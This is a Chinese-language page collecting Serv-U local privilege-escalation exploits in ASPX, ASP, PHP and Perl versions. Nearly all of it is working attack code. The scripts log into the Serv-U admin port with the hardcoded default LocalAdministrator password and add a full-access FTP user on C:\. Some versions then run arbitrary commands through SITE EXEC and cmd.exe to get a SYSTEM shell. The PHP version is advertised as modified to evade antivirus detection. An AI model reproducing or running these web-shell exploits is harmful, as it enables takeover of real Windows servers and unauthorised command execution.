Serv-U本地权限提升程序 asp aspx php perl 版
ASPX代码如下:
<%@ Page Language="VB" Debug="true" %>
<%@ import Namespace="System.Net.Sockets" %>
<script runat="server">
'
' Love, Where are you ?
Sub BTN_Start_Click(sender As Object, e As EventArgs)
Dim Usr As String = Text_Name.Text
Dim pwd As String = Text_PWD.Text
Dim Port As Int32 = Text_Port.Text
Dim Command As String = Text_cmd.Text
Dim LoginUser As String = "User " & Usr & vbcrlf
Dim LoginPass As String = "Pass " & pwd & vbcrlf
Dim NewDomain As String = "-SETDOMAIN" & vbcrlf & "-Domain=cctv|0.0.0.0|43859|-1|1|0" & vbcrlf & "-TZOEnable=0" & vbcrlf & " TZOKey=" & vbcrlf
Dim DelDomain As String = "-DeleteDOMAIN" & vbcrlf & "-IP=0.0.0.0" & vbcrlf & " PortNo=43859" & vbcrlf
Dim NewUser AS String = "-SETUSERSETUP" & vbcrlf & "-IP=0.0.0.0" & vbcrlf & "-PortNo=43859" & vbcrlf & "-User=lake" & vbcrlf & "-Password=admin123" & vbcrlf & _
"-HomeDir=c:\\" & vbcrlf & "-LoginMesFile=" & vbcrlf & "-Disable=0" & vbcrlf & "-RelPaths=1" & vbcrlf & _
"-NeedSecure=0" & vbcrlf & "-HideHidden=0" & vbcrlf & "-AlwaysAllowLogin=0" & vbcrlf & "-ChangePassword=0" & vbcrlf & _
"-QuotaEnable=0" & vbcrlf & "-MaxUsersLoginPerIP=-1" & vbcrlf & "-SpeedLimitUp=0" & vbcrlf & "-SpeedLimitDown=0" & vbcrlf & _
"-MaxNrUsers=-1" & vbcrlf & "-IdleTimeOut=600" & vbcrlf & "-SessionTimeOut=-1" & vbcrlf & "-Expire=0" & vbcrlf & "-RatioUp=1" & vbcrlf & _
"-RatioDown=1" & vbcrlf & "-RatiosCredit=0" & vbcrlf & "-QuotaCurrent=0" & vbcrlf & "-QuotaMaximum=0" & vbcrlf & _
"-Maintenance=System" & vbcrlf & "-PasswordType=Regular" & vbcrlf & "-Ratios=None" & vbcrlf & " Access=c:\\|RWAMELCDP" & vbcrlf
Dim Quit As String = "QUIT" & vbcrlf
Dim MAINTENANCE As String = "SITE MAINTENANCE" & vbcrlf
'Dim client As New TcpClient
Dim tcpClient As New TcpClient()
Try
tcpClient.Connect("127.0.0.1", port)
Catch eee As Exception
response.write(eee.ToString())
response.end
End Try
tcpClient.ReceiveBufferSize = 1024
Dim networkStream As NetworkStream = tcpClient.GetStream()
Rec(networkStream)
Send(networkStream, LoginUser)
Rec(networkStream)
Send(networkStream, LoginPass)
Rec(networkStream)
Send(networkStream, MAINTENANCE)
Rec(networkStream)
Send(networkStream, DelDomain)
Rec(networkStream)
Send(networkStream, NewDomain)
Rec(networkStream)
Send(networkStream, NewUser)
Rec(networkStream)
Dim tcpClient2 As New TcpClient()
Try
tcpClient2.Connect("127.0.0.1", 43859)
Catch eee As Exception
response.write(eee.ToString())
response.end
End Try
tcpClient2.ReceiveBufferSize = 1024
Dim networkStream2 As NetworkStream = tcpClient2.GetStream()
Rec(networkStream2)
Send(networkStream2, "User lake" & vbcrlf)
Rec(networkStream2)
Send(networkStream2, "pass admin123" & vbcrlf)
Rec(networkStream2)
Send(networkStream2, "site exec " & Command & vbcrlf)
Rec(networkStream2)
tcpClient2.Close()
Send(networkStream, DelDomain)
Rec(networkStream)
Send(networkStream, Quit)
Rec(networkStream)
tcpClient.Close()
End Sub
Sub Rec(o As Object)
If o.CanRead Then
Dim bytes(1024) As Byte
o.Read(bytes, 0, 1024)
Dim returndata As String = Encoding.ASCII.GetString(bytes)
response.Write("out:" & returndata & "<br>")
Else
response.Write("What's wrong ?")
End If
End Sub
Sub Send(o As Object,data As String)
If o.CanWrite Then
Dim sendBytes As [Byte]() = Encoding.ASCII.GetBytes(data)
o.Write(sendBytes, 0, sendBytes.Length)
response.write("in: " & data & "<br>")
Else
response.Write("What's wrong ?")
End If
End Sub
</script>
<html>
<head>
</head>
<body>
<form runat="server">
<p>
<asp:Label id="Label1" runat="server" width="353px" forecolor="Blue">from Serv-U 2
admin by lake2</asp:Label>
</p>
<p>
<asp:Label id="Label2" runat="server" width="40px">Name</asp:Label>
<asp:TextBox id="Text_Name" runat="server" Width="152px">LocalAdministrator</asp:TextBox>
<br />
<asp:Label id="Label3" runat="server" width="40px">PWD</asp:Label>
<asp:TextBox id="Text_PWD" runat="server">#l@$ak#.lk;0@P</asp:TextBox>
<br />
<asp:Label id="Label4" runat="server" width="40px">Port</asp:Label>
<asp:TextBox id="Text_Port" runat="server">43958</asp:TextBox>
<br />
<asp:Label id="Label5" runat="server" width="40px">cmd</asp:Label>
<asp:TextBox id="Text_cmd" runat="server"></asp:TextBox>
</p>
<p>
<asp:Button id="BTN_Start" onclick="BTN_Start_Click" runat="server" Text="Start"></asp:Button>
</p>
<p>
<hr />
<!-- Insert content here -->
</p>
</form>
</body>
</html>
ASP版代码如下:
<title>Serv-U 2 admin by lake2</title>
<style type="text/css">
body,td,th {color: #0000FF;font-family: Verdana, Arial, Helvetica, sans-serif;}
body {background-color: #ffffff;font-size:14px; }
a:link {color: #0000FF;text-decoration: none;}
a:visited {text-decoration: none;color: #0000FF;}
a:hover {text-decoration: none;color: #FF0000;}
a:active {text-decoration: none;color: #FF0000;}
.buttom {color: #FFFFFF; border: 1px solid #084B8E; background-color: #719BC5}
.TextBox {border: 1px solid #084B8E}
</style>
<p>Serv-U Local Get SYSTEM Shell with ASP
</p>
<p>Author: lake2, <a href="http://lake2.0x54.org" target="_blank">http://lake2.0x54.org</a></p>
<form name="form1" method="post" action="">
<p>user:
<input name="duser" type="text" class="TextBox" id="duser" value="LocalAdministrator">
<br>
pwd :
<input name="dpwd" type="text" class="TextBox" id="dpwd" value="#l@$ak#.lk;0@P">
<br>
port:
<input name="dport" type="text" class="TextBox" id="dport" value="43958">
<br>
<input name="radiobutton" type="radio" value="add" checked class="TextBox">
Add User
<input type="radio" name="radiobutton" value="del" class="TextBox">
Del User </p>
<p>
<input name="Submit" type="submit" class="buttom" value="Run">
</p>
</form>
<p>
<%
Usr = request.Form("duser")
pwd = request.Form("dpwd")
port = request.Form("dport")
'Command = request.Form("dcmd")
if request.Form("radiobutton") = "add" Then
lake2 = "User " & Usr & vbcrlf
lake2 = lake2 & "Pass " & pwd & vbcrlf
lake2 = lake2 & "SITE MAINTENANCE" & vbcrlf
'lake2 = lake2 & "-SETDOMAIN" & vbcrlf & "-Domain=cctv|0.0.0.0|43859|-1|1|0" & vbcrlf & "-TZOEnable=0" & vbcrlf & " TZOKey=" & vbcrlf
lake2 = lake2 & "-SETUSERSETUP" & vbcrlf & "-IP=0.0.0.0" & vbcrlf & "-PortNo=21" & vbcrlf & "-User=lake" & vbcrlf & "-Password=admin123" & vbcrlf & _
"-HomeDir=c:\\" & vbcrlf & "-LoginMesFile=" & vbcrlf & "-Disable=0" & vbcrlf & "-RelPaths=1" & vbcrlf & _
"-NeedSecure=0" & vbcrlf & "-HideHidden=0" & vbcrlf & "-AlwaysAllowLogin=0" & vbcrlf & "-ChangePassword=0" & vbcrlf & _
"-QuotaEnable=0" & vbcrlf & "-MaxUsersLoginPerIP=-1" & vbcrlf & "-SpeedLimitUp=0" & vbcrlf & "-SpeedLimitDown=0" & vbcrlf & _
"-MaxNrUsers=-1" & vbcrlf & "-IdleTimeOut=600" & vbcrlf & "-SessionTimeOut=-1" & vbcrlf & "-Expire=0" & vbcrlf & "-RatioUp=1" & vbcrlf & _
"-RatioDown=1" & vbcrlf & "-RatiosCredit=0" & vbcrlf & "-QuotaCurrent=0" & vbcrlf & "-QuotaMaximum=0" & vbcrlf & _
"-Maintenance=System" & vbcrlf & "-PasswordType=Regular" & vbcrlf & "-Ratios=None" & vbcrlf & " Access=c:\\|RWAMELCDP" & vbcrlf
'lake2 = lake2 & "quit" & vbcrlf
'--------
'On Error Resume Next
Set xPost = CreateObject("MSXML2.XMLHTTP")
xPost.Open "POST", "http://127.0.0.1:"& port &"/lake2", True
xPost.Send(lake2)
Set xPOST=nothing
response.write "FTP user lake pass admin123 :)<br><BR>"
else
lake2 = "User " & Usr & vbcrlf
lake2 = lake2 & "Pass " & pwd & vbcrlf
lake2 = lake2 & "SITE MAINTENANCE" & vbcrlf
lake2 = lake2 & "-DeleteUSER" & vbcrlf & "-IP=0.0.0.0" & vbcrlf & "-PortNo=21" & vbcrlf & " User=lake" & vbcrlf
Set xPost3 = CreateObject("MSXML2.XMLHTTP")
xPost3.Open "POST", "http://127.0.0.1:"& port &"/lake2", True
xPost3.Send(lake2)
Set xPOST3=nothing
response.write "Done!<br><BR>"
end if
%>
Only for Enjoy&Challenge
! </p>
php代码版如下:
<?PHP
/**
注释免杀版本
**/
//
//Codez begin
//
//判断magic_quotes_gpc的值
if (get_magic_quotes_gpc()) {
$_GET = stripslashes_array($_GET);
}
//变量初始化
$addr = '0.0.0.0';
$ftpport = 21;
$adminport = 43958;
$adminuser = 'LocalAdministrator';
$adminpass = '#l@$ak#.lk;0@P';
$user = 'wofeiwo';
$password = 'wrsky';
$homedir = 'C:\\';
$dir = 'C:\\WINNT\\System32\\';
//有改变则赋值
if ($_GET){
$addr = $_GET['addr'] ;
$ftpport = $_GET['ftpport'] ;
$adminport = $_GET['adminport'] ;
$adminuser = $_GET['adminuser'] ;
$adminpass = $_GET['adminpass'] ;
$user = $_GET['user'] ;
$password = $_GET['password'] ;
$homedir = $_GET['homedir'] ;
if ($_GET['dir']){
$dir = $_GET['dir'] ;
}
}
?>
<!-- 主文件开始 //-->
<html>
<head>
<title>-=<Serv-U All Version本地提升权限Exp10it Ver 1.5 By 我非我[F.S.T] 修改免杀版>=-</title>
<meta content="text/html; charset=gb2312" http-equiv="Content-Type">
<STYLE TYPE="text/css">
b {font-family : Verdana, sans-serif;font-size : 14px;}
body,td,p,pre {
font-family : Verdana, sans-serif;font-size : 12px;
}
input {
font-family: "Verdana";
font-size: "11px";
BACKGROUND-COLOR: "#FFFFFF";
height: "18px";
border: "1px solid #666666";
}
</STYLE>
</head>
<body bgcolor="#EEEEEE" text="#000000" link="#006699" vlink="#5493B4">
<center><b>Serv-U All Version本地提升权限Exp10it Ver 1.5</b>
<br><br>
<b>添加Serv-U用户部分</b>
<br>
<form action="<?=$_SERVER['PHP_SELF']?>" method="get">
<table width="660" border="0" cellpadding="0">
<tr><td width="300" align="center">主机IP：</td> <td width="360" align="center"><input name="addr" type="text" class="INPUT" value="<?=$addr?>"></td></tr>
<tr><td width="300" align="center">主机Ftp端口：</td> <td width="360" align="center"><input name="ftpport" type="text" class="INPUT" value="<?=$ftpport?>"></td></tr>
<tr><td width="300" align="center">主机Ftp管理端口：</td> <td width="360" align="center"><input name="adminport" type="text" class="INPUT" value="<?=$ad
minport?>"></td></tr>
<tr><td width="300" align="center">主机Ftp管理用户：</td> <td width="360" align="center"><input name="adminuser" type="text" class="INPUT" value="<?=$adminuser?>"></td></tr>
<tr><td width="300" align="center">主机Ftp管理密码：</td> <td width="360" align="center"><input name="adminpass" type="text" class="INPUT" value="<?=$adminpass?>"></td></tr>
<tr><td width="300" align="center">添加的用户名：</td> <td width="360" align="center"><input name="user" type="text" class="INPUT" value="<?=$user?>"></td></tr>
<tr><td width="300" align="center">添加的用户名密码：</td><td width="360" align="center"><input name="password" type="password" class="INPUT" value="<?=$password?>"></td></tr>
<tr><td width="300" align="center">用户主目录(别忘了写"\")：</td> <td width="360" align="center"><input name="homedir" type="text" class="INPUT" value="<?=$homedir?>"></td></tr>
<tr><td width="300" align="center"><input name="action" type="hidden" value="up"></td></tr>
<tr><td width="300" align="center"><input type="submit" class="INPUT" value="添加"></td></tr>
</form></tr>
</table>
<hr width="660"><br>
<textarea cols="60" rows="10" readonly>命令回显:
<?php
//添加用户
if ($_GET['action']=="up"){
up($addr,$ftpport,$adminport,$adminuser,$adminpass,$user,$password,$homedir);
}
?>
</textarea></center><br><hr width="660">
<center><b>执行命令部分</b><br>
<form action="<?=$_SERVER['PHP_SELF']?>" method="get">
<table width="660" border="0" cellpadding="0">
<tr><td width="300" align="center">主机Ftp端口：</td> <td width="360" align="center"><input name="ftpport" type="text" class="INPUT" value="<?=$ftpport?>"></td></tr>
<tr><td width="300" align="center">用户名：</td> <td width="360" align="center"><input name="user" type="text" class="INPUT" value="<?=$user?>"></td></tr>
<tr><td width="300" align="center">用户名密码：</td><td width="360" align="center"><input name="password" type="password" class="INPUT" value="<?=$password?>"></td></tr>
<tr><td width="300" align="center">系统路径(别忘了写"\")：</td><td width="360" align="center"><input name="dir" type="text" class="INPUT" value="<?=$dir?>"></td></tr>
<tr><td width="300" align="center">执行的命令：</td> <td width="360" align="center"><input name="cmd" type="text" class="INPUT" value="<?=$_GET['cmd']?>"></td></tr>
<tr><td width="300" align="center"><input name="action" type="hidden" value="execute"></td></tr>
<tr><td width="300" align="center"><input type="submit" class="INPUT" value="执行"></td></tr>
</form></tr></table><hr width="660"><br>
<textarea cols="60" rows="10" readonly>命令回显:
<?php
//执行命令
if ($_GET['action']=="execute"){
ftpcmd($ftpport,$user,$password,$dir,$_GET['cmd']);
}
?>
</textarea>
</center><br><hr width="660">
<i><center>Copycenter (C) 2004 <B style='color:black;background-color:#ffff66'>我非我</B> All centers Reserved. <br>
</center></i>
</body>
</html>
<!-- 主文件结束 //-->
<?php
//添加用户主函数定义
function up($addr,$ftpport,$adminport,$adminuser,$adminpass,$user,$password,$homedir){
$fp = fsockopen ("127.0.0.1", $adminport, $errno, $errstr, 8);
if (!$fp) {
echo "$errstr ($errno)<br>\n";
} else {
fputs ($fp, "USER ".$adminuser."\r\n");
sleep (1);
fputs ($fp, "PASS ".$adminpass."\r\n");
sleep (1);
fputs ($fp, "SITE MAINTENANCE\r\n");
sleep (1);
fputs ($fp, "-SETUSERSETUP\r\n");
fputs ($fp, "-IP=".$addr."\r\n");
fputs ($fp, "-PortNo=".$ftpport."\r\n");
fputs ($fp, "-User=".$user."\r\n");
fputs ($fp, "-Password=".$password."\r\n");
fputs ($fp, "-HomeDir=".$homedir."\r\n");
fputs ($fp, "-LoginMesFile=\r\n");
fputs ($fp, "-Disable=0\r\n");
fputs ($fp, "-RelPaths=0\r\n");
fputs ($fp, "-NeedSecure=0\r\n");
fputs ($fp, "-HideHidden=0\r\n");
fputs ($fp, "-AlwaysAllowLogin=0\r\n");
fputs ($fp, "-ChangePassword=1\r\n");
fputs ($fp, "-QuotaEnable=0\r\n");
fputs ($fp, "-MaxUsersLoginPerIP=-1\r\n");
fputs ($fp, "-SpeedLimitUp=-1\r\n");
fputs ($fp, "-SpeedLimitDown=-1\r\n");
fputs ($fp, "-MaxNrUsers=-1\r\n");
fputs ($fp, "-IdleTimeOut=600\r\n");
fputs ($fp, "-SessionTimeOut=-1\r\n");
fputs ($fp, "-Expire=0\r\n");
fputs ($fp, "-RatioUp=1\r\n");
fputs ($fp, "-RatioDown=1\r\n");
fputs ($fp, "-RatiosCredit=0\r\n");
fputs ($fp, "-QuotaCurrent=0\r\n");
fputs ($fp, "-QuotaMaximum=0\r\n");
fputs ($fp, "-Maintenance=System\r\n");
fputs ($fp, "-PasswordType=Regular\r\n");
fputs ($fp, "-Ratios=None\r\n");
fputs ($fp, " Access=".$homedir."|RWAMELCDP\r\n");
fputs ($fp, "QUIT\r\n");
sleep (1);
while (!feof($fp)) {
echo fgets ($fp,128);
}
}
}
//执行命令主函数定义
function ftpcmd($ftpport,$user,$password,$dir,$cmd){
$conn_id = fsockopen ("127.0.0.1", $ftpport, $errno, $errstr, 8);
if (!$conn_id) {
echo "$errstr ($errno)<br>\n";
} else {
fputs ($conn_id, "USER ".$user."\r\n");
sleep (1);
fputs ($conn_id, "PASS ".$password."\r\n");
sleep (1);
fputs ($conn_id, "SITE EXEC ".$dir."cmd.exe /c ".$cmd."\r\n");
fputs ($conn_id, "QUIT\r\n");
sleep (1);
while (!feof($conn_id)) {
echo fgets ($conn_id,128);
}
fclose($conn_id);
}
}
//去除转义字符
function stripslashes_array(&$array) {
while (list($key,$var) = each($array)) {
if ($key != 'argc' && $key != 'argv' && (strtoupper($key) != $key || ''.intval($key) == "$key")) {
if (is_string($var)) {
$array[$key] = stripslashes($var);
}
if (is_array($var)
) {
$array[$key] = stripslashes_array($var);
}
}
}
return $array;
}
?>
perl版代码如下:
#!/usr/bin/perl
use IO::Socket;
binmode(STDOUT);
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
$addr = "127.0.0.1";
$ftpport = 21;
$adminport = 43958;
$adminuser = "LocalAdministrator";
$adminpass = '#l@$ak#.lk;0@P';
$user = "Andyower";
$password = "haika";
$homedir = 'C:\\';
$dir = 'C:\\WINNT\\System32\\';
use IO::Socket::INET;
$sock = IO::Socket::INET->new("127.0.0.1:$adminport") || die "fail";
print "Andyower制作<br><br>";
print $sock "USER $adminuser\r\n";
sleep (1);
print $sock "PASS $adminpass\r\n";
sleep(1);
print $sock "SITE MAINTENANCE\r\n";
sleep(1);
print $sock "-SETUSERSETUP\r\n";
print $sock "-IP=".$addr."\r\n";
print $sock "-PortNo=".$ftpport."\r\n";
print $sock "-User=".$user."\r\n";
print $sock "-Password=".$password."\r\n";
print $sock "-HomeDir=".$homedir."\r\n";
print $sock "-LoginMesFile=\r\n";
print $sock "-Disable=0\r\n";
print $sock "-RelPaths=0\r\n";
print $sock "-NeedSecure=0\r\n";
print $sock "-HideHidden=0\r\n";
print $sock "-AlwaysAllowLogin=0\r\n";
print $sock "-ChangePassword=1\r\n";
print $sock "-QuotaEnable=0\r\n";
print $sock "-MaxUsersLoginPerIP=-1\r\n";
print $sock "-SpeedLimitUp=-1\r\n";
print $sock "-SpeedLimitDown=-1\r\n";
print $sock "-MaxNrUsers=-1\r\n";
print $sock "-IdleTimeOut=600\r\n";
print $sock "-SessionTimeOut=-1\r\n";
print $sock "-Expire=0\r\n";
print $sock "-RatioUp=1\r\n";
print $sock "-RatioDown=1\r\n";
print $sock "-RatiosCredit=0\r\n";
print $sock "-QuotaCurrent=0\r\n";
print $sock "-QuotaMaximum=0\r\n";
print $sock "-Maintenance=System\r\n";
print $sock "-PasswordType=Regular\r\n";
print $sock "-Ratios=None\r\n";
print $sock " Access=".$homedir."|RWAMELCDP\r\n";
print $sock "QUIT\r\n";
@ret=<$sock>;
print "@ret";
close(STDERR);
close(STDOUT);
exit;
姓名：Chinadu
近期评论